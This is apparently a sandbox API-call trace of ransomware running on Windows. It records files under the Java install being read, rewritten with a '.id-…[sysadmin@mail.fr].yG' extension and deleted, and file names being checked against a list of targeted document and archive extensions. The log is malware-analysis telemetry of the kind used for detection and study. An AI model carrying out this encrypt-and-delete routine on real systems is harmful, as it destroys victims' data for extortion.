	[0148.819] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0148.820] GetLastError () returned 0x0
	[0148.820] ReadFile (in: hFile=0x42c, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x9a2, lpOverlapped=0x0) returned 1
	[0148.835] WriteFile (in: hFile=0x540, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x9b0, lpOverlapped=0x0) returned 1
	[0148.836] ReadFile (in: hFile=0x42c, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0148.836] WriteFile (in: hFile=0x540, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0xea, lpOverlapped=0x0) returned 1
	[0148.837] SetEndOfFile (hFile=0x540) returned 1
	[0148.837] CloseHandle (hObject=0x540) returned 1
	[0148.837] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0148.837] SetEndOfFile (hFile=0x42c) returned 1
	[0148.873] CloseHandle (hObject=0x42c) returned 1
	[0148.874] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0148.874] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy")) returned 1
	[0148.875] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59
	[0148.875] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59
	[0148.875] lstrlenW (lpString=".doc") returned 4
	[0148.875] lstrcmpiW (lpString1=".doc", lpString2="licy") returned -1
	[0148.875] lstrlenW (lpString=".docx") returned 5
	[0148.875] lstrcmpiW (lpString1=".docx", lpString2="olicy") returned -1
	[0148.875] lstrlenW (lpString=".pdf") returned 4
	[0148.875] lstrcmpiW (lpString1=".pdf", lpString2="licy") returned -1
	[0148.875] lstrlenW (lpString=".xls") returned 4
	[0148.875] lstrcmpiW (lpString1=".xls", lpString2="licy") returned -1
	[0148.875] lstrlenW (lpString=".xlsx") returned 5
	[0148.875] lstrcmpiW (lpString1=".xlsx", lpString2="olicy") returned -1
	[0148.875] lstrlenW (lpString=".ppt") returned 4
	[0148.875] lstrcmpiW (lpString1=".ppt", lpString2="licy") returned -1
	[0148.875] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59
	[0148.875] lstrlenW (lpString=".zip") returned 4
	[0148.875] lstrcmpiW (lpString1=".zip", lpString2="licy") returned -1
	[0148.875] lstrlenW (lpString=".rar") returned 4
	[0148.875] lstrcmpiW (lpString1=".rar", lpString2="licy") returned -1
	[0148.875] lstrlenW (lpString=".bz2") returned 4
	[0148.875] lstrcmpiW (lpString1=".bz2", lpString2="licy") returned -1
	[0148.875] lstrlenW (lpString=".7z") returned 3
	[0148.875] lstrcmpiW (lpString1=".7z", lpString2="icy") returned -1
	[0148.875] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59
	[0148.875] lstrlenW (lpString=".dbf") returned 4
	[0148.876] lstrcmpiW (lpString1=".dbf", lpString2="licy") returned -1
	[0148.876] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59
	[0148.876] lstrlenW (lpString=".1cd") returned 4
	[0148.876] lstrcmpiW (lpString1=".1cd", lpString2="licy") returned -1
	[0148.876] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59
	[0148.876] lstrlenW (lpString=".jpg") returned 4
	[0148.876] lstrcmpiW (lpString1=".jpg", lpString2="licy") returned -1
	[0148.876] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59
	[0148.876] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59
	[0148.876] lstrlenW (lpString=".doc") returned 4
	[0148.876] lstrcmpiW (lpString1=".doc", lpString2="licy") returned -1
	[0148.876] lstrlenW (lpString=".docx") returned 5
	[0148.876] lstrcmpiW (lpString1=".docx", lpString2="olicy") returned -1
	[0148.876] lstrlenW (lpString=".pdf") returned 4
	[0148.876] lstrcmpiW (lpString1=".pdf", lpString2="licy") returned -1
	[0148.876] lstrlenW (lpString=".xls") returned 4
	[0148.876] lstrcmpiW (lpString1=".xls", lpString2="licy") returned -1
	[0148.876] lstrlenW (lpString=".xlsx") returned 5
	[0148.876] lstrcmpiW (lpString1=".xlsx", lpString2="olicy") returned -1
	[0148.876] lstrlenW (lpString=".ppt") returned 4
	[0148.876] lstrcmpiW (lpString1=".ppt", lpString2="licy") returned -1
	[0148.876] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59
	[0148.876] lstrlenW (lpString=".zip") returned 4
	[0148.876] lstrcmpiW (lpString1=".zip", lpString2="licy") returned -1
	[0148.876] lstrlenW (lpString=".rar") returned 4
	[0148.877] lstrcmpiW (lpString1=".rar", lpString2="licy") returned -1
	[0148.877] lstrlenW (lpString=".bz2") returned 4
	[0148.877] lstrcmpiW (lpString1=".bz2", lpString2="licy") returned -1
	[0148.877] lstrlenW (lpString=".7z") returned 3
	[0148.877] lstrcmpiW (lpString1=".7z", lpString2="icy") returned -1
	[0148.877] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59
	[0148.877] lstrlenW (lpString=".dbf") returned 4
	[0148.877] lstrcmpiW (lpString1=".dbf", lpString2="licy") returned -1
	[0148.877] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59
	[0148.877] lstrlenW (lpString=".1cd") returned 4
	[0148.877] lstrcmpiW (lpString1=".1cd", lpString2="licy") returned -1
	[0148.877] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59
	[0148.877] lstrlenW (lpString=".jpg") returned 4
	[0148.877] lstrcmpiW (lpString1=".jpg", lpString2="licy") returned -1
	[0148.877] lstrcmpiW (lpString1=".security", lpString2=".yG") returned -1
	[0148.877] lstrlenW (lpString="java.security") returned 13
	[0148.877] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0148.878] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=36524) returned 1
	[0148.878] CloseHandle (hObject=0x42c) returned 1
	[0148.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security")) returned 0x20
	[0148.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0148.879] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0148.879] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0148.879] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0148.879] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0148.880] GetLastError () returned 0x0
	[0148.880] ReadFile (in: hFile=0x42c, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x8eac, lpOverlapped=0x0) returned 1
	[0149.317] WriteFile (in: hFile=0x540, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x8eb0, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x8eb0, lpOverlapped=0x0) returned 1
	[0149.365] ReadFile (in: hFile=0x42c, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0149.365] WriteFile (in: hFile=0x540, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0xee, lpOverlapped=0x0) returned 1
	[0149.366] SetEndOfFile (hFile=0x540) returned 1
	[0149.366] CloseHandle (hObject=0x540) returned 1
	[0149.366] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.366] SetEndOfFile (hFile=0x42c) returned 1
	[0149.415] CloseHandle (hObject=0x42c) returned 1
	[0149.416] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0149.418] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security")) returned 1
	[0149.419] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61
	[0149.419] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61
	[0149.419] lstrlenW (lpString=".doc") returned 4
	[0149.419] lstrcmpiW (lpString1=".doc", lpString2="rity") returned -1
	[0149.419] lstrlenW (lpString=".docx") returned 5
	[0149.419] lstrcmpiW (lpString1=".docx", lpString2="urity") returned -1
	[0149.419] lstrlenW (lpString=".pdf") returned 4
	[0149.419] lstrcmpiW (lpString1=".pdf", lpString2="rity") returned -1
	[0149.419] lstrlenW (lpString=".xls") returned 4
	[0149.419] lstrcmpiW (lpString1=".xls", lpString2="rity") returned -1
	[0149.419] lstrlenW (lpString=".xlsx") returned 5
	[0149.419] lstrcmpiW (lpString1=".xlsx", lpString2="urity") returned -1
	[0149.419] lstrlenW (lpString=".ppt") returned 4
	[0149.419] lstrcmpiW (lpString1=".ppt", lpString2="rity") returned -1
	[0149.419] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61
	[0149.419] lstrlenW (lpString=".zip") returned 4
	[0149.419] lstrcmpiW (lpString1=".zip", lpString2="rity") returned -1
	[0149.419] lstrlenW (lpString=".rar") returned 4
	[0149.419] lstrcmpiW (lpString1=".rar", lpString2="rity") returned -1
	[0149.419] lstrlenW (lpString=".bz2") returned 4
	[0149.420] lstrcmpiW (lpString1=".bz2", lpString2="rity") returned -1
	[0149.420] lstrlenW (lpString=".7z") returned 3
	[0149.420] lstrcmpiW (lpString1=".7z", lpString2="ity") returned -1
	[0149.420] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61
	[0149.420] lstrlenW (lpString=".dbf") returned 4
	[0149.420] lstrcmpiW (lpString1=".dbf", lpString2="rity") returned -1
	[0149.420] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61
	[0149.420] lstrlenW (lpString=".1cd") returned 4
	[0149.420] lstrcmpiW (lpString1=".1cd", lpString2="rity") returned -1
	[0149.420] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61
	[0149.420] lstrlenW (lpString=".jpg") returned 4
	[0149.420] lstrcmpiW (lpString1=".jpg", lpString2="rity") returned -1
	[0149.420] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61
	[0149.420] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61
	[0149.420] lstrlenW (lpString=".doc") returned 4
	[0149.420] lstrcmpiW (lpString1=".doc", lpString2="rity") returned -1
	[0149.420] lstrlenW (lpString=".docx") returned 5
	[0149.420] lstrcmpiW (lpString1=".docx", lpString2="urity") returned -1
	[0149.420] lstrlenW (lpString=".pdf") returned 4
	[0149.421] lstrcmpiW (lpString1=".pdf", lpString2="rity") returned -1
	[0149.421] lstrlenW (lpString=".xls") returned 4
	[0149.421] lstrcmpiW (lpString1=".xls", lpString2="rity") returned -1
	[0149.421] lstrlenW (lpString=".xlsx") returned 5
	[0149.421] lstrcmpiW (lpString1=".xlsx", lpString2="urity") returned -1
	[0149.421] lstrlenW (lpString=".ppt") returned 4
	[0149.421] lstrcmpiW (lpString1=".ppt", lpString2="rity") returned -1
	[0149.421] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61
	[0149.421] lstrlenW (lpString=".zip") returned 4
	[0149.421] lstrcmpiW (lpString1=".zip", lpString2="rity") returned -1
	[0149.421] lstrlenW (lpString=".rar") returned 4
	[0149.421] lstrcmpiW (lpString1=".rar", lpString2="rity") returned -1
	[0149.421] lstrlenW (lpString=".bz2") returned 4
	[0149.421] lstrcmpiW (lpString1=".bz2", lpString2="rity") returned -1
	[0149.421] lstrlenW (lpString=".7z") returned 3
	[0149.421] lstrcmpiW (lpString1=".7z", lpString2="ity") returned -1
	[0149.421] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61
	[0149.421] lstrlenW (lpString=".dbf") returned 4
	[0149.421] lstrcmpiW (lpString1=".dbf", lpString2="rity") returned -1
	[0149.421] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61
	[0149.422] lstrlenW (lpString=".1cd") returned 4
	[0149.422] lstrcmpiW (lpString1=".1cd", lpString2="rity") returned -1
	[0149.422] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61
	[0149.422] lstrlenW (lpString=".jpg") returned 4
	[0149.422] lstrcmpiW (lpString1=".jpg", lpString2="rity") returned -1
	[0149.422] lstrcmpiW (lpString1=".0_144\\release", lpString2=".yG") returned -1
	[0149.422] lstrlenW (lpString="release") returned 7
	[0149.422] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0149.423] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=528) returned 1
	[0149.423] CloseHandle (hObject=0x42c) returned 1
	[0149.423] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release")) returned 0x20
	[0149.423] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0149.424] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0149.424] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.424] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.424] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0149.425] GetLastError () returned 0x0
	[0149.425] ReadFile (in: hFile=0x42c, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x210, lpOverlapped=0x0) returned 1
	[0149.426] WriteFile (in: hFile=0x4a4, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x220, lpOverlapped=0x0) returned 1
	[0149.427] ReadFile (in: hFile=0x42c, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0149.427] WriteFile (in: hFile=0x4a4, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0xe2, lpOverlapped=0x0) returned 1
	[0149.428] SetEndOfFile (hFile=0x4a4) returned 1
	[0149.429] CloseHandle (hObject=0x4a4) returned 1
	[0149.429] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.429] SetEndOfFile (hFile=0x42c) returned 1
	[0149.433] CloseHandle (hObject=0x42c) returned 1
	[0149.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0149.435] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release")) returned 1
	[0149.436] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42
	[0149.436] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42
	[0149.436] lstrlenW (lpString=".doc") returned 4
	[0149.436] lstrcmpiW (lpString1=".doc", lpString2="ease") returned -1
	[0149.436] lstrlenW (lpString=".docx") returned 5
	[0149.436] lstrcmpiW (lpString1=".docx", lpString2="lease") returned -1
	[0149.436] lstrlenW (lpString=".pdf") returned 4
	[0149.436] lstrcmpiW (lpString1=".pdf", lpString2="ease") returned -1
	[0149.436] lstrlenW (lpString=".xls") returned 4
	[0149.436] lstrcmpiW (lpString1=".xls", lpString2="ease") returned -1
	[0149.436] lstrlenW (lpString=".xlsx") returned 5
	[0149.436] lstrcmpiW (lpString1=".xlsx", lpString2="lease") returned -1
	[0149.436] lstrlenW (lpString=".ppt") returned 4
	[0149.436] lstrcmpiW (lpString1=".ppt", lpString2="ease") returned -1
	[0149.437] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42
	[0149.437] lstrlenW (lpString=".zip") returned 4
	[0149.437] lstrcmpiW (lpString1=".zip", lpString2="ease") returned -1
	[0149.437] lstrlenW (lpString=".rar") returned 4
	[0149.437] lstrcmpiW (lpString1=".rar", lpString2="ease") returned -1
	[0149.437] lstrlenW (lpString=".bz2") returned 4
	[0149.437] lstrcmpiW (lpString1=".bz2", lpString2="ease") returned -1
	[0149.437] lstrlenW (lpString=".7z") returned 3
	[0149.437] lstrcmpiW (lpString1=".7z", lpString2="ase") returned -1
	[0149.437] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42
	[0149.437] lstrlenW (lpString=".dbf") returned 4
	[0149.437] lstrcmpiW (lpString1=".dbf", lpString2="ease") returned -1
	[0149.437] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42
	[0149.437] lstrlenW (lpString=".1cd") returned 4
	[0149.437] lstrcmpiW (lpString1=".1cd", lpString2="ease") returned -1
	[0149.437] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42
	[0149.437] lstrlenW (lpString=".jpg") returned 4
	[0149.437] lstrcmpiW (lpString1=".jpg", lpString2="ease") returned -1
	[0149.438] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42
	[0149.438] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42
	[0149.438] lstrlenW (lpString=".doc") returned 4
	[0149.438] lstrcmpiW (lpString1=".doc", lpString2="ease") returned -1
	[0149.438] lstrlenW (lpString=".docx") returned 5
	[0149.438] lstrcmpiW (lpString1=".docx", lpString2="lease") returned -1
	[0149.438] lstrlenW (lpString=".pdf") returned 4
	[0149.438] lstrcmpiW (lpString1=".pdf", lpString2="ease") returned -1
	[0149.438] lstrlenW (lpString=".xls") returned 4
	[0149.438] lstrcmpiW (lpString1=".xls", lpString2="ease") returned -1
	[0149.438] lstrlenW (lpString=".xlsx") returned 5
	[0149.438] lstrcmpiW (lpString1=".xlsx", lpString2="lease") returned -1
	[0149.438] lstrlenW (lpString=".ppt") returned 4
	[0149.438] lstrcmpiW (lpString1=".ppt", lpString2="ease") returned -1
	[0149.438] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42
	[0149.438] lstrlenW (lpString=".zip") returned 4
	[0149.438] lstrcmpiW (lpString1=".zip", lpString2="ease") returned -1
	[0149.438] lstrlenW (lpString=".rar") returned 4
	[0149.438] lstrcmpiW (lpString1=".rar", lpString2="ease") returned -1
	[0149.438] lstrlenW (lpString=".bz2") returned 4
	[0149.438] lstrcmpiW (lpString1=".bz2", lpString2="ease") returned -1
	[0149.438] lstrlenW (lpString=".7z") returned 3
	[0149.438] lstrcmpiW (lpString1=".7z", lpString2="ase") returned -1
	[0149.438] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42
	[0149.438] lstrlenW (lpString=".dbf") returned 4
	[0149.438] lstrcmpiW (lpString1=".dbf", lpString2="ease") returned -1
	[0149.438] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42
	[0149.439] lstrlenW (lpString=".1cd") returned 4
	[0149.439] lstrcmpiW (lpString1=".1cd", lpString2="ease") returned -1
	[0149.439] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42
	[0149.439] lstrlenW (lpString=".jpg") returned 4
	[0149.439] lstrcmpiW (lpString1=".jpg", lpString2="ease") returned -1
	[0149.439] lstrcmpiW (lpString1=".exe", lpString2=".yG") returned -1
	[0149.439] lstrlenW (lpString="distributors.exe") returned 16
	[0149.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\distributors.exe" (normalized: "c:\\program files\\microsoft office\\distributors.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0149.441] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=75776) returned 1
	[0149.441] CloseHandle (hObject=0x42c) returned 1
	[0149.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\distributors.exe" (normalized: "c:\\program files\\microsoft office\\distributors.exe")) returned 0x20
	[0149.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\distributors.exe.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\distributors.exe.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0149.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\distributors.exe" (normalized: "c:\\program files\\microsoft office\\distributors.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0149.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\distributors.exe") returned 50
	[0149.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\distributors.exe") returned 50
	[0149.442] lstrlenW (lpString=".doc") returned 4
	[0149.442] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0149.442] lstrlenW (lpString=".docx") returned 5
	[0149.442] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1
	[0149.442] lstrlenW (lpString=".pdf") returned 4
	[0149.442] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0149.442] lstrlenW (lpString=".xls") returned 4
	[0149.443] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0149.443] lstrlenW (lpString=".xlsx") returned 5
	[0149.443] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1
	[0149.443] lstrlenW (lpString=".ppt") returned 4
	[0149.443] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0149.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\distributors.exe") returned 50
	[0149.443] lstrlenW (lpString=".zip") returned 4
	[0149.443] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0149.443] lstrlenW (lpString=".rar") returned 4
	[0149.443] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0149.443] lstrlenW (lpString=".bz2") returned 4
	[0149.443] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0149.443] lstrlenW (lpString=".7z") returned 3
	[0149.443] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0149.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\distributors.exe") returned 50
	[0149.443] lstrlenW (lpString=".dbf") returned 4
	[0149.443] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0149.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\distributors.exe") returned 50
	[0149.443] lstrlenW (lpString=".1cd") returned 4
	[0149.443] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0149.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\distributors.exe") returned 50
	[0149.443] lstrlenW (lpString=".jpg") returned 4
	[0149.443] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0149.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\distributors.exe") returned 50
	[0149.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\distributors.exe") returned 50
	[0149.444] lstrlenW (lpString=".doc") returned 4
	[0149.444] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0149.444] lstrlenW (lpString=".docx") returned 5
	[0149.444] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1
	[0149.444] lstrlenW (lpString=".pdf") returned 4
